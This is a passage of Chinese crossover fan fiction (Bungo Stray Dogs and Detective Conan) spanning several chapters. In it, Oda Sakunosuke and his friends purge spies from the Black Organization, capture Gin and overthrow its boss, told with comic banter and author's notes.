“但是,一旦Boss被捕,必须马上推选出新任Boss ,否则黑衣组织将即刻分崩离析。” 越是深入调查这个组织,坂口安吾越是对组织错综复杂的关系网感到心惊。 先不提各国顶尖卧底汇集于此,分别发展了各自的势力。 在朗姆被推翻之前,不但情报组和行动组的对弈愈演愈烈,研究组也早有争权夺势的异心,后勤组倒是没什么想法,但那墙头草一样的摇摆特性让人难以将其忽视,更不用说目前掌握在织田作先生手上的商业组,之前在皮斯科的带领下,也算不上安分。 真不知道黑衣组织是怎么在一盘散沙的状况下坚如磐石的。 除此之外,还有组织向外部探出的触手,政治、金融、教育、医疗,黑与白相互交融,根本不是短时间就能完全理清的。 太宰治听明白了:“所以现在的议题是,我们之中需要推选出一个人来担任临时Boss。” 临时Boss? 织田作左右看看,他觉得只要不选自己,安吾或者太宰都能很好胜任这一职位。 但另外两人可不这么想。 “我浅谈一下我的意见,就算是临时Boss ,也需要具备最基本的特质。”坂口安吾说,“首先性格要沉稳,其次是自保能力,最后要有一颗理智的头脑。” 织田作点头。 他觉得坂口安吾很符合上述特质。 太宰治接着说:“包容也很重要,必须是宽容大方的人,对周围的情绪感知敏锐,善于倾听意见建议。” 织田作继续点头。 他觉得太宰治也很符合上述特质。 就在他以为太宰治和坂口安吾都想自荐当Boss时,两人异常默契地看向他。 “所以Boss只能由织田作/织田作先生来当!” 织田作:“…啊?” 他平静地接受了这一现实,然后平静地提出了反对意见。 “我并不擅长这个。” “没关系啦,我和安吾都在,织田作只要按照你的想法布置任务就好。”太宰治表示区区Boss根本不用担心能不能胜任的问题。 坂口安吾也说:“在我们之中,织田作先生无疑是最适合的人,而且我可不想【卧底黑衣组织后一路晋升成为Boss 】这样的表述出现在我的工作履历上。” 至于太宰治,得了吧,如果让这家伙当上Boss…他甚至不敢想象会发生什么样的后果! 织田作:“……好吧。” 既然安吾和太宰都这样说了,那就只能这样了。 —— 针对黑衣组织Boss的篡位计划正在太宰治和坂口安吾的计划下有条不紊地进行中。 作为Boss后备役的织田作被两人安排将组织的卧底清理出去——以假死的方式。 于是,一场由爱尔兰主导的肃清行动悄无声息地在组织内铺开。 每天都有被确认卧底身份的代号成员被爱尔兰干掉,一时间,组织内部人人自危。 因为爱尔兰上午还在北海道处理卧底,下午就跑到了欧洲执行任务,他们合理怀疑,这是爱尔兰一派策划的夺权行动。 ——“爱尔兰”只是一个代号,而执行任务的至少有十个人,并且每一个“爱尔兰”都有比肩琴酒的顶尖杀手实力。 这样猜测着爱尔兰一派的目的,令人意外的是组织内竟无人站出来反对,包括琴酒。 主要原因是拉莫尼提供的卧底证据都是真的,其次是大部分人都没有自信能从爱尔兰的暗杀中活下来。 这是一场有理有据的震慑行动。 搭乘组织的飞机返回日本,织田作打开坂口安吾发来的最新卧底信息。 【代号:基尔。 】 【姓名:水无怜奈。 】 曾因辣咖喱与这位女主播有过一段交集的织田作指尖下滑,将这位来自CIA的卧底证件照呈现眼前。 确实是他曾经的邻居水无小姐。 这位日卖电视台备受欢迎的女主播正好结束一场采访活动,独自一人在后台卸妆。 她对着化妆镜,动作轻柔地取下固定头发的夹子,冷凝的神色展现出她的内心并不像外表一样平静。 CIA那边已经向她发出了紧急撤离通知。 爱尔兰的行动太过疯狂,各国情报组织在与部分情报员失去联系后纷纷联系幸存的成员立即撤离。 可这不就等于在与组织的战斗中不战而败吗。 在这之前的所有努力和牺牲都将在她撤离后化作泡影,她的同伴、她的父亲,她为此受过的伤、流过的血都白费了。 她不甘心! 这样的结果她不能接受! 捏着梳子的手一点点收紧,梳齿划破了掌心也没能让她冷静下来。 “嗞拉——” 头顶的灯光闪烁了两下,突然熄灭,房间内陷入黑暗。 水无怜奈立即警醒,她从抽屉的暗格中取出一把小型手/枪,迅速起身躲到化妆桌后,警惕地看向门口的方向。 可魂体化的织田作没有走门。 他静静地落在水无怜奈身后,低声说了句“抱歉”后,一个手刀将人击晕。 失去意识前,水无怜奈只听到一道令她略感熟悉的“抱歉”,随后便陷入黑暗之中。 抱歉? 为什么要对她抱歉? 打晕她的人是谁? 诸多疑惑在她重新恢复意识后便都明白了。 她全身被束腹带捆绑着躺在一间病房里,这里面除了她之外,与她并排以同样的姿势躺着的还有三个人。 “啪啪” 突如其来的掌声让水无怜奈和其他三人的注意力顿时集中到发出声音的方向,在那里,是一个戴着老式黑框眼镜的刺猬头警官。 为什么一眼便看出对方的警官身份呢?自然是因为这人就将警察证拿在手上。 第七次开展情况说明的风见裕也对此已经游刃有余。 “诸位,我是警察厅公安警察的一员,在此为各位进行情况说明。” “诸位分别是来自各国谍报组织的精英,出现在此是因为我方针对黑衣组织的计划已进入最终阶段,为了避免误伤,特地将诸位提前带离。” “在行动结束之前,请诸位配合我们的安排,待在固定场所内,不要随意走动或是擅自联系外界人员。” “结束后,我方会为诸位出具官方情况说明。以上,请诸位积极配合。” 说着,风见裕也看向被绑成粽子固定在病床上的几人,语气中暗含威胁。 “当然,如果拒不配合,我方也有的是手段让诸位合作。” 深知这些人都是各国的精英卧底,无论是混黑还是混白都丰富的经验,于是他拍了拍手,病房门被人推开,一个令水无怜奈感到熟悉的红发身影走了进来。 前来执行威胁任务的工具人织田作在几人面前站定。 此时他将地府狱卒的气场全数释放开来,黑暗、阴沉、满是绝望与杀戮的气息如针刺般袭向几人。 红发青年只是站在那里,古井无波的眼底看不到一丝光亮,只一眼,就令人无法再生出任何反驳的意图。 但这并不能阻止几人活跃的内心活动。 爱尔兰!爱尔兰才是最大的卧底!琴酒他又看走眼了啊! 水无怜奈神色复杂,她毕竟和织田作有过一段短暂的邻居经历。 没想到她亲自确认过身份的人竟然就是组织里传奇暗杀者爱尔兰,这也太颠覆她的认知了吧。 迎着她的视线,织田作转过头来看向水无怜奈。 想着上次因为辣咖喱害得对方住院,这次又让对方遭到精神病人的待遇,内心难免生出一丝愧疚。 于是他说:“抱歉,这段时间请配合我们,等到组织彻底覆灭…” 水无怜奈突然有种不祥的预感。 “…请大家吃咖喱。” 她的胃开始痛了。 ———————— !!———————— 水豚织真的很适合当Boss啊,情绪稳定、身手矫健、宽容大度,最重要的是,只有他才能同时拥有安吾和太宰的信赖[点赞]《 》 70-80 第71章 【比起杀手,邮递员的工作更复杂,比如任务途中需要考虑多方面因素。 ——送货的时效、运输途中不可避免的损耗、收货人的心情等等。 从物品到人/体,甚至是一句话、一块身体组织,只要给钱,什么都能送。 工作变多了,薪酬变少了。 但不可否认的是,在那段时间,我的内心得到了前所未有的平静,甚至隐隐触摸到了生命的本质。 】 卧底的清理工作进行得十分顺利,一切都在按照太宰治和坂口安吾的计划平稳推进。 在无赖派把这当作度假途中的趣味消遣活动时,有一大帮人在为此负重前行。 警察厅公安部门。 “降谷先生,织田先生那边又送了十个人过来!” “做好登记和管控,在彻底覆灭组织前严禁他们离开我们的监控范围。” “是!A组、B组,今晚对这十个人的身份信息进行确认,并协助织田先生做好扫尾工作。” 阿笠博士家。 “拜托了灰原,这可是那个组织最新的研究资料,我不想再吃侏儒鬼的怨念了。” “最新款的包和大衣,还有我这里不是你的敌后指挥所。” “感谢!博士,可以再帮我更新一下侦探装备吗?上次的通讯器在枪/战中坏掉了。” “新一,你在那个组织里真的没有参与犯罪吧?你这样让我怎么和你父母交代啊!” 工藤宅兼FBI据点。 “赤井先生,上次的那个人又发消息了,这次是希望我们协助抓捕琴酒。” “……消息可靠吗?” “情报确定可靠。” “给我时间和地点。” 被一股名为无赖派的势力拉扯,红方在互相不知情的前提下拧成了一股绳。 针对黑衣组织的篡位计划紧锣密鼓地进行中。 在这方面太宰治有过一次见证森鸥外夺权上位的经验,所以他负责总体策划,坂口安吾则是对一些细节进行完善细化。 至于作为主角的织田作。 正在西装店采购上位时穿的服装。 “领带也是黑色的话会给人一种阴冷男爵的既视感,不要。” “外套内侧最好多缝制几个口袋,能装下笔和纸的那种,方便织田作随时都能记录灵感。” “宝石袖扣还有哪些?都拿出来看看。” 太宰治游刃有余地穿行在西装中,一会举起一件,朝不远处坐在沙发上的织田作比划两下,发现并没有得到想要的效果后继续寻找。 看着那道沙色身影自如地穿梭,和织田作并排坐在一起的坂口安吾扶额吐槽。 “到底是给谁选衣服啊。” 织田作拿着一本在店里找到的小说,听到坂口安吾的话后抬起头,视线扫过那数十排令人眼花缭乱的西装。 对他来说,只要能穿就可以了,什么款式、做工、布料都无所谓。 但太宰好像挺享受这个过程的,难道安吾也想加入只是不好意思说? “安吾也可以去选。”织田作说。 “我?”坂口安吾顿时露出别扭的神色,低咳两声后不再和织田作视线接触,“我可不会把时间浪费在购物上。” 话是这样说,但说着不会浪费时间的坂口安吾的身体却很诚实。在太宰治提出要去帮织田作之助采购西装后便主动加入了购物小队。 理由是“如果他不来盯着的话,太宰可能给织田作先生挑一大堆华丽到浮夸的西装”。 “是这样啊,那要提前回去吗?” “……不用。” “织田作——” 不远处的太宰治向织田作发起换装邀请,看样子对方已经挑选好了。 织田作应声起身,意外的是坂口安吾也跟着起身。 “我也去看看。”坂口安吾这样说道。 织田作了然:“安吾也一起来选吧。” “我才没有打扮亲友的爱好!” “嗯,我知道的。” 织田作头顶的呆毛晃了晃。 “不,织田作先生你根本不知道!” 太宰治挑选衣服的眼光很好。 这一点在他自身的搭配上就能看得出来,白衬衣黑马甲,装饰是镶嵌有蓝宝石的波洛领结,外面再套上一件飘逸的沙色风衣。 他给织田作选的是一套修身的纯黑手工西装,袖口有繁复华丽的暗金刺绣,袖扣上嵌有一枚红宝石,白色衬衣为底,搭配墨蓝色领带。 换上这一套的织田作神色平静地站在太宰治和坂口安吾面前:“怎么样?” 织田作还是那个织田作,但又好像有哪里不一样了。 坂口安吾托着下巴,认真审视着眼前焕然一新的友人。 “头发……” 他的低语提醒了太宰治,沉浸在换装游戏中的太宰治立即叫来造型师,然后两人一其上前整理织田作略显蓬乱的红发。 用梳子理顺,然后往后梳,最后用发胶固定。 “嗯嗯,织田作你来这边坐…对就是这样,手放在这里,腿这样摆…完成!” 典雅的丝绒王座上,红发青年双腿交叠,双手撑在王座扶手上交叉着至于身前,背靠座椅,头部微微倾斜,上半张脸隐在阴影中,光影交叠下冷硬的面部线条尤为突出。 完全展现出了世界黑暗面掌权人的既视感。 “唔哦!”太宰治鼓掌,“比森先生帅气多了!” 坂口安吾推了推眼镜:“不得不承认,太宰的眼光很毒辣。” 不太理解发生了什么,只一味配合的织田作:“不愧是太宰。” —— 挑选西装只是他们今日计划的一个小插曲,接下来针对琴酒的抓捕行动才是重中之重。 为了保护安室透的卧底身份,他们甚至对这位兢兢业业的公安头子隐瞒了行动的消息,转而联系了好用又专业的FBI团队。 “那边会配合我们引出琴酒。” 夜间的风带着一丝潮意和凉爽,吹起太宰治额前的碎发,他手中拿着那本好久没出现过的《完全自杀手册》。 或许是担心今晚的行动太过无聊所以带了本趣味读物过来消遣。 “琴酒似乎很重视那位从他手中叛逃的FBI先生,带了好几个代号成员过来。”太宰治继续说明,“所以处理这些人时务必一击即中,绝对不能给他们留下任何向组织传回情报的机会。” “经过我和安吾的推演,这个组织一旦失去了琴酒,将再也没有人能威胁到织田作的地位。” 坂口安吾加入解说:“ FBI那边会负责正面吸引琴酒的火力,届时织田作只需要从他们身后逐一突破。” 织田作表示明白了。 “琴酒一旦长时间失联,黑衣组织的Boss一定会传召值得信赖的部下面谈,那就是篡位的大好时机。” 说话间,坂口安吾甚至从公文包里拿出了厚厚一沓行动企划书,翻到倒数几页检查是否存在纰漏。 黑衣组织的Boss不像港口Mafia的先代首领那样奉行暴力统治,所以部下在这种看似紧密实则松散的管理下很容易产生别的想法。 这也是他们篡位的有利条件之一。 “到那时候,我需要做什么吗?”织田作发问。 他毕竟不是森鸥外那样的对未来极有规划的人,篡位之后……他完全没有头绪。 “织田作一直在寻找逃避了死亡制裁的家伙吧,黑衣组织的那位Boss极有可能是你要逮捕的罪犯之一哦。” 太宰治笑眯眯地给出提醒。 差点忘了。 和太宰还有安吾在一起的时候,织田作习惯性地放松思绪,跟着两位好友的想法行动,疏忽之下竟忘记了他的真正目的。 “我明白了。” FBI选定的埋伏地点在东京近郊一处野外露营区。 这里因为位于深山之中,鲜少有人会把露营地选在这种犯罪抛/尸的绝佳场所。 今晚的云层很厚,稀疏的月光透过云层的缝隙洒到地上,若非久经训练的夜间行动好手,很难在这种视野极差的环境下开展任何行动。 太宰治和坂口安吾没有来,他们通过织田作佩戴在耳边的集监控和通话为一体的通讯器实时了解这边的情况。 “织田作,FBI已就位,琴酒估计也看出了这是针对他的陷阱,等他调整完行动计划,大概需要五分钟。” 太宰治的声音透过听筒传来。 “明白。” 织田作潜行于树影之中,黑色的身影一闪而过,就算只隔了几米,也没让戒备中的FBI探员察觉到他的行踪。 不过赤井秀一还是察觉到了不对劲。 他趴在FBI埋伏点后方的一处山坡上,这里视野开阔,是绝佳的狙/击/点。 他调整瞄准镜,对准那片令他感到危险的区域细细查看。 可什么都没有发现。 是横滨那边派来的人吗?他疑惑地想到。 虽然在他们之间,大部分人都对此次的合作持反对态度,但经过上次被迫的“合作”,赤井秀一和他的上司詹姆斯·布莱克都觉得这是一次重创组织的大好时机。 他们可不讲究什么少数服从多数,决定权从来都是掌握在少部分人手中的。 “所有人提高警惕,目标是那个组织的顶尖杀手,切记小心谨慎。”赤井秀一调整耳麦对其他人提醒道。 路过某位探员,织田作听到了从对方耳麦中传出的声音。 心想这大概是FBI中那位曾经在组织中卧底并且得到了琴酒赏识的莱伊。 莱伊好像很了解琴酒的样子。 织田作这样想到,随即他绕开FBI的埋伏圈,来到琴酒一行人的后方。 鬼魂的好处在此刻体现得淋漓尽致,就算他没有魂体化,也能完美避开各种针对活人的高科技探测器。 琴酒正好也在进行战前部署。 “都给我绷紧点,对方可是莱伊,发现他的行踪后立即向我汇报。”他脸上绽开一个嗜血残暴的笑,“他是我的猎物。” 将这一切都看在眼里的织田作陷入沉思。 琴酒好像也很了解莱伊的样子。 “这就是宿敌啊~” 耳中传来太宰治带着咏叹调的感叹。 紧接着是坂口安吾语气复杂的发言:“就像你和中原干部那样吗?” 既是亲密无间、互相了解的搭档,也是不死不休、势均力敌的宿敌。 不愧是响彻横滨里世界的“双黑”组合。 太宰治顿时大声反驳:“我和黑漆漆的小矮人才不是这么恶心的关系呢!” 织田作若有所思:“这就是宿敌啊。” “不是你想的那样,织田作——!” “噗——” 坂口安吾笑出了声。 ———————— !!———————— 中也:阿嚏—— 第72章 【平平无奇的一天早上,邮递员的我在门口捡到了一个人。 ——是个带有枪/伤、失血过多的少年。 在热血的冒险故事中,少年的身后往往都跟着足以掀翻世界的风暴。 他那过长的黑色大衣口袋里装着一叠崭新的假/钞,裤腰上别着手枪和小刀,一看就是不良中的不良。 和我这种只想过平凡普通生活的小人物截然相反。 少年是个大麻烦,最好趁没有人发现,把他丢远一点自生自灭。 这样想着,我把他捡回了家。 熟练地帮他处理完身上渗血的伤口后,为了我的平静生活不受影响,我将少年的衣服脱下,用麻绳把他绑在了床上。 】 关于“宿敌”的话题告一段落。 织田作静静地站在琴酒一行人身后不远处的树影中。 他看着琴酒取出狙击枪架上,瞄准的方向正对莱伊所在的位置。 不愧是宿敌,连潜伏的位置都猜测得这么准。 其他人也在琴酒的安排下各自找地方准备,正当琴酒低头调试瞄准镜时,一发子/弹穿透了他身前用作掩护的树枝。 “位置暴露!” 琴酒立马命令其他人转移,他瞬间对准发射子弹的位置,通过瞄准镜,他看到了那张日思夜想、恨不得剥皮抽骨的脸。 “莱伊——!”琴酒嘴角上扬,丝毫不在意自己已经暴露,就这样和另一边的赤井秀一对/狙起来。 织田作看不懂他们这样做的意义何在,但他知道这是逐一击破琴酒小队的绝佳契机。 于是立刻朝着伏特加的位置潜行而去。 他观察过,伏特加是这群人里最容易下手的代号成员。 饶是在黑夜的密林中,伏特加也不愿摘下他的墨镜。 在琴酒提醒众人暴露之时,他立马更改了隐蔽的地点,他迅速藏身于一处绝佳的隐蔽点,握紧武器观察四周的动态。 这里背靠山崖,面前又有土堆可以掩护,除非有人从山崖上跳下来,否则绝对不能发现他。 然后伏特加被身后突然袭来的手刀劈晕了。 织田作单手抓着一根树藤,从山崖上疾驰而下,趁着伏特加全部注意力都放在视线前方而忽视了头顶的威胁时雷霆出击。 将人轻轻地放在地上,作为伏特加帮他引荐进入黑衣组织的感谢。他摘下伏特加的联络器,伪造出一副被FBI偷袭带走的假象。 将身材魁梧的伏特加抗在肩上,织田作的行动速度丝毫不受影响,没一会就将人放在了太宰治提前找好的山洞里。 这里位置隐蔽,除非用上科技手段,否则很少有人能找到这里。 用手铐将伏特加手脚都拷上,织田作继续寻找下一个猎物。 随着时间的流逝,山洞里的人越来越多。阴冷的山洞随着活人的增加,气温逐渐升高。 伏特加是被热醒的。 他感觉自己仿佛被一座火山压住无法动弹,求生的欲/望让他挣扎着醒来。 四肢根本动弹不得,他小心翼翼地观察起四周的环境。 漆黑一片的山洞里,身下是硬实的泥土和岩石,他动了动,终于意识到梦中将自己死死压住的火山竟是此次参与行动的组织成员。 “喂!基安蒂!科恩!醒醒。” 将压在自己身上的一群人抖落下去,不知道是打晕他们的人下手太重还是其他什么原因,就算是这样,其他人也没有醒过来。 这到底是怎么一回事?此次行动的人除了琴酒大哥都在这里了,难道他们中了FBI设下的陷阱? 可恶,得赶紧逃出去联系琴酒大哥才行! 被伏特加担忧的琴酒同样意识到了不对劲。 起因是通讯频道内只剩下他一个人发号施令的声音,察觉到这一点的他立即放弃了与赤井秀一隔空叙旧的打算。 可正当他要离开时,身后一道劲风袭来。 靠着这些年来游走在死亡边缘的战斗直觉才堪堪躲过这一击,琴酒迅速闪身离开赤井秀一的狙击范围。 此时借着树木的掩护,他看向偷袭自己的人。 熟悉的红发和平静的暗蓝色双眼。 琴酒咬牙切齿地喊出来人的代号:“爱尔兰。” 织田作平静地打开手/枪保险后上膛。 对手是琴酒,如果不能一击即中的话,接下来的战斗必定要用上手/枪。 他没有回答琴酒,只是面无表情地注视着对方。 既然被发现了,那么接下来不但要找机会压制住对方,还要时刻警惕不能让琴酒传回任何不利于他们下步行动的情报。 “哼。”琴酒冷笑一声。 他察觉到爱尔兰身上的气息发生了改变,那是他最为熟悉的杀手的气息。 看样子爱尔兰已经等不及要踩着他往上爬了。 是啊,这是他琴酒的决策失误,受困于区区FBI ,和此事毫无关系的爱尔兰不但可以趁机要了他的命,还能靠着绝佳的不在场证明撇清嫌疑。 就算是到了这个时候,琴酒也不认为爱尔兰会和FBI联合起来围捕他,更不相信爱尔兰其实是卧底。 “难道你认为解决掉我之后,还能从这里离开吗?”琴酒故弄玄虚道。 前有FBI,后有爱尔兰。 琴酒选择先把后者稳住,找机会离开后再报复回来。 期间他也想用传讯器请求支援,但爱尔兰盯得太死了,一旦露出破绽,一定会被这头嗜人的孤狼咬住脖颈。 “嗯?” 织田作不解,但他仍不打算与琴酒多费口舌。 这时,一发子弹击中了琴酒身前的树干。 下意识地侧头,琴酒虽然立即反应过来,但还是给了织田作突袭的时机。 红发青年眨眼间便失去了踪迹,再捕捉到他的身影时,对方已经来到了琴酒面前不到一米的位置。 装有消音器的手枪瞄准了他身上虽不足以致命但绝对会影响行动的部位。 琴酒立即矮身躲过,但紧接而来的是足以踢断肋骨的腿击。 “砰!” 利用巧劲卸下大部分力道,琴酒单手夹住织田作的小腿,瞄准后者的下颌处扣下扳机。 【天衣无缝】早已预见到了琴酒的攻击,织田作侧头躲过。 就算是这样,他仍是那副平静得不似活人的表情,暗蓝色的眼眸紧盯着琴酒的动作。 树影摇曳,稀疏的月光有一部分洒在红发青年的脸上,映照出那张沉默的脸。 琴酒看着对方的动作从容自得,就像是早已预料到了他的攻击。 他并不感到意外。 转动枪口,瞄准织田作心脏的位置,琴酒露出一抹残忍的笑。 “下地狱吧。” 击发的瞬间,琴酒感觉被桎梏在手中的小腿如同搅拌机一样旋转起来,尽管他用了全力想要束缚对方,仍被挣脱。 单脚蹬在树干上,借助反作用力脱离琴酒的桎梏,织田作立即调整姿势回击。 琴酒的伯/莱/塔可没装消音器,FBI那边肯定已经察觉到了不对劲,过不了多久肯定会有人靠近察看情况。 不希望进行多余社交的织田作决定速战速决。 赤井秀一赶到时,这里只剩下一地的血迹和狼藉。 正当他准备进一步探查时,太宰治的消息发到了手机上。 上面显示着一串意味不明的数字,但他一眼就看出了这是某个地点的坐标。 这样看来是那位突然出现的红发先生略胜一筹。 立即通知其他人赶往这个坐标,赤井秀一第一个赶到织田作用来存放组织成员的山洞外。 他先是在外面观察了片刻,确认安全后才谨慎地走进山洞。 然后就看到了叠罗汉一样层层垒起来的组织成员。 顺带一提,放在最上面的是失血过多陷入昏迷的琴酒,琴酒的下方是第二次被打晕的伏特加。 不知道在昏迷前看到了什么,伏特加的脸上还残存着震惊与失望的神色。 —— 解决掉琴酒,织田作步行走到停车的地方,将染血的衣服都脱下来烧掉,在太宰治惊呼“鬼魂也能这么多腹肌吗”之后挂断通讯。 做完这些收尾工作后,他驾车回到公寓。 一进门,暖色调的灯光从门后倾泻而出。 太宰治依然一个人独占了一整个沙发,听到开门声后,仰躺在沙发上的他仰起头看向门口。 平静的鸢眼在见到织田作后泛起涟漪。 “呀,织田作终于回来啦~” 他用甜腻的嗓音呼唤道,“我们一直在等织田作回来吃夜宵哦。” 坂口安吾很是端庄地坐在地毯上,一边将各种小菜摆上桌,一边无情地揭露太宰治的真面目。 “要不是我阻止,桌上的螃蟹根本等不到织田作先生回来见它们最后一面。” “安吾总是把我想得这么坏。”太宰治委屈地说,“我只是想帮忙检查螃蟹熟没熟而已。” 织田作换鞋进门,从善如流地坐在太宰治和坂口安吾之间。 他熟练地打开一瓶酒,分别给两位友人倒上。 一杯给坂口安吾。 “真是多亏了安吾。” 一杯给太宰治。 “那太宰现在能帮我检查一下螃蟹蒸熟了没有吗?” 织田作瞬间就平息了一场即将到来的争论。 “琴酒失去联系,Boss那边很快就会联系织田作或者安吾。” 酒足饭饱,太宰治开始分析接下来可能出现的情况。 如果是国木田独步见到他竟然对工作这么上心,一定会感动地哭出来,并且求着织田作和坂口安吾传授让太宰治如此敬业的秘诀。 “我猜是安吾。”太宰治露出坏笑,“毕竟工作报告写得这么漂亮,情报组也在安吾的手下打散后重新整合,工作效率提高了不止一星半点。” “真可怕啊,安吾简直就是为工作而生的社畜之王。” 比国木田君强一百倍不止。 无视太宰治的揶揄,坂口安吾出于理智赞同了太宰治的猜想。 “毕竟织田作先生目前在黑衣组织里的形象可不怎么友好。” 沉默的杀神、漆黑的暗行者、来自深渊的游魂。 听起来都不是什么好人。 当然在犯罪组织之中,形象凶恶一点并不算坏事,但对于一个疑心重的重病掌权者来说,肯定不会冒着生命危险接近这种分分钟能干掉他的存在。 恶名在外的织田作正拿着一个饭团,听到坂口安吾的发言后呆呆地表示不理解:“啊。” “不过让安吾单独面见Boss也存在一定的风险。”太宰治搭上织田作的肩膀,在后者咀嚼饭团的同时不怀好心地戳着对方的脸颊,“织田作用那个可以隐匿身形的方法一起去吧。” “嗯。”对于太宰治的提议,织田作基本上不会反驳,但他无法忽视对方戳在自己脸上的手指。 “太宰,你戳到我的脸了。” “这样啊,织田作会觉得困扰吗?” “不会。” “那我继续戳也没关系吧。” “…嗯。” 坂口安吾:“……” 这算什么?无厘头搞笑短剧吗?一点也不好笑,完全无法理解这两人的脑回路! “给我吐槽啊——!” ———————— !!———————— 琴爷很强,但织田作能预知且免伤[墨镜] #织田作捕猫经验# 如果咪是只不良少年咪,带回家会反抗并造成威胁,那就把咪的外衣脱掉绑起来困在床上,羞耻心和行动受限会让咪变得听话。 [眼镜] 第73章 【“看似弱小的生物,才是真正的捕食者。” 濒死的少年在我把他绑(划掉)、救回家的第二天醒了过来。 照顾病人其实不难,前提是他深陷昏迷且不会因为疼痛而疯狂挣扎。 考虑到我已经和少年有过接触,一旦他在尚未痊愈的情况跑出去然后死在路上,我一定会被警方列为头号嫌疑人。 为了守护我的平静生活,只好再次把少年打晕,然后把被他撬坏的手铐和出现崩裂迹象的麻绳换掉。 喂饭可以趁少年开口说话的时候用勺子塞进去。 上厕所可以固定一天两到三次,根据我的观察,少年有最基本的羞耻心所以不担心他在床上失禁。 换药就更方便了,不配合的话直接打晕就好。 于是,我和少年过上了短暂且平静的同居生活。 】 和太宰治同住一间公寓,换做任何港口Mafia或是武装侦探社的成员可能都无法接受。 只有织田作之助和坂口安吾迅速适应了这样的日常。 如果忽略掉冰箱里偶尔多出来的毒蘑菇、混凝土一样的豆腐和五颜六色的浓汤,开门后随机刷新的挂在吊灯上做颈椎拉伸的太宰治,不定期失踪的钱包等等偶发性事件,这样的日常还是挺容易接受的。 “太宰,盗窃罪是可以处三年以下有期徒刑的。” 第N次发现钱包不翼而飞,坂口安吾趁着织田作也在,向饭桌上对早餐挑挑拣拣的太宰治发起质问。 闻言,太宰治露出小鹿一般清澈无辜的表情:“我只是好心帮安吾把钱包收起来,顺便帮你把多余的工资花出去而已。” “什么叫帮我把工资花出去!还有,我的钱包一直都是放在口袋里的,根本不需要你帮我收起来!” “可是那天我看到钱包快掉出来了。” “那也应该帮我塞回去而不是趁机拿走!” “冷静一点安吾,一大早就发脾气对身体不好哦~” “那你就不要屡次对我的钱包下手啊!” “反正那都是组织发给拉莫尼的活动资金,给我们花一点怎么了,安吾真小气。”太宰治侧过头小声吐槽。 坂口安吾:“今天我必须纠正你这个错误的观点和行为!” 五分钟后。 “又是太宰赢了,现在107比0,安吾完败。”担任两人猜拳裁判的织田作语气平静地宣布结果。 他其实不太理解两人为什么要用猜拳决胜负,但太宰好像玩得挺开心的样子,所以就这样吧。 “哼哼,认输吧安吾,从现在开始你的工资卡要交给我和织田作保管。” 太宰治单手撑着脑袋,开朗中带着小小的得意,“堂堂异能特务科的高级官员应该不至于言而无信吧。” 坂口安吾瞪着面前恨不得跳到饭桌上宣布胜利的太宰治,攥紧拳头:“可恶。” 本以为猜拳这种随机性强的游戏不会给太宰治出千的机会,谁知对方像是能预知他的想法一样,每把都赢。 虽说作为赌注的是他和太宰治在黑衣组织的工资卡,任务结束后便没有任何用处。但要他承认输给太宰治,还是很不甘心啊。 冷哼一声,他将放在桌上的工资卡推到织田作面前。 “拜托织田作先生帮忙保管了。” “反正给织田作就等于给我了,安吾休想挑拨我和织田作的关系。” 织田作看着面前的黑卡,迟疑了片刻后慢腾腾地将卡收起来。 “那我先帮安吾保管。” 过不了多久他都要当黑衣组织的Boss了,这个卡给他其实没什么用。 但这是安吾主动提出的要求,只好答应下来。织田作看了眼身边将手臂舞成海带状的太宰治,又看了看明显憋着一口气的坂口安吾。 他突然想到了昨晚两人形容莱伊和琴酒谜之宿敌关系的发言。 织田作恍然大悟。 “安吾和太宰也是宿敌?” 比如说见面就会针锋相对地吵架,但行动起来又很有默契,都很聪明也会在关键时刻互相包容和理解。 果然是宿敌吧。 “噗——!” 坂口安吾一口水喷了出来。 太宰治则是带着满脸的震惊陷入石化。 —— 黑衣组织的Boss在琴酒失联的第二天便联系了坂口安吾。 对于坂口安吾这种临时加入的情报人员, Boss还是很谨慎的,他设立了各种身份核验的关卡,以免被人借用拉莫尼的身份潜入到他的身边。 可惜他还是失算了。 跟着拉莫尼来到他面前的不是人,而是堂堂地府狱卒——织田作之助。 缠绵病榻的老人长着一张神似乌鸦的脸,鼻子和鸟喙一般可怖,松散下垂的眼皮底下,露出一双漆黑浑浊的眼珠。 丝绸铺就的大床上, Boss示意看护将床帘拉开,在身后垫了好几层柔软的枕头后才扶着看护的手坐起身来。 “拉莫尼。” Boss朝坂口安吾招了招手,同时,看护也从一旁的保险箱中取出一粒红白相间的胶囊,“来,这是我给你的见面礼,咳咳,是长生不老的神药。” 这样说着,却完全没有给坂口安吾拒绝的机会。 因为在看护拿出药丸后,坂口安吾的身后突然出现两个身形魁梧的西装男,似乎只要坂口安吾表现出任何不配合的态度,就要压着他强行喂药。 对此,坂口安吾仍是面不改色地站在原地一动不动。 “抱歉,我恐怕不能服从你的命令。” 这一句话甚至没有用敬称。 Boss顿时就变了脸色,因为药物他的面部神经似乎不太受控制,导致现在的他看起来就像是从地狱中爬出来的恶鬼,还是长了老年斑的那种。 可不等他下令让手下给不知好歹的拉莫尼一点教训,坂口安吾身后的两人突然翻着白眼倒下了。 紧接着是拿着药的护工。 生命的最后一刻, Boss的眼前出现了幻觉,他看到一位身着黑色西装的红发男人突然出现,手上拿着与他的穿搭极不搭配的狼牙棒和锁链。 顶端是铁钩的锁链对准他的脑袋轻轻一勾, Boss顿时感觉身体轻飘飘的。 他仿佛脱离了肉体的限制,真正地获得了永生! 恍惚间,他看到了自己因为衰老而变得丑陋的身体,病床上的老人紧闭着双眼,旁边检测生命体征的仪器滴滴响个不停。 这是怎么回事? 他有点慌了。 你是谁!你到底对我干了什么! 被勾魂锁限制住魂体,此时正漂浮在空中的黑衣组织的Boss惊慌失措地想要扑到织田作身上。 可惜他现在根本动不了。 织田作的手上缓缓浮现出Boss的生平。 【乌丸莲耶,乌丸集团掌权者,黑衣组织幕后Boss,APTX计划发起人……利用药物逃避死亡,最终享年149岁。 】 确认面前的老人逃避死亡的犯罪现实后,织田作收紧锁链,将对方丢进身边突然出现的黑色漩涡中,这个漩涡的终点是鬼灯辅佐官的办公室。 “你被捕了。” 看在对方年纪大的份上,织田作简单解释道。 乌丸莲耶:“……什么?不!我……” 带着满满的不甘与怨恨,这位在里世界叱咤了百年有余的老人就这样结束了他漫长的一生。 处理完碍事的前任Boss,接下来就是织田作的上位问题。 将别馆内前任Boss的心腹全部打包送到公安那边,织田作和坂口安吾找了间老人味没那么重的房间休息。 “接下来是?”织田作问。 坂口安吾:“先把太宰叫过来吧,他有经验。” 然后他以前任Boss的名义,传召了爱尔兰和百利甜。 —— “波本,组织要变天了,爱尔兰可能要上位了!” 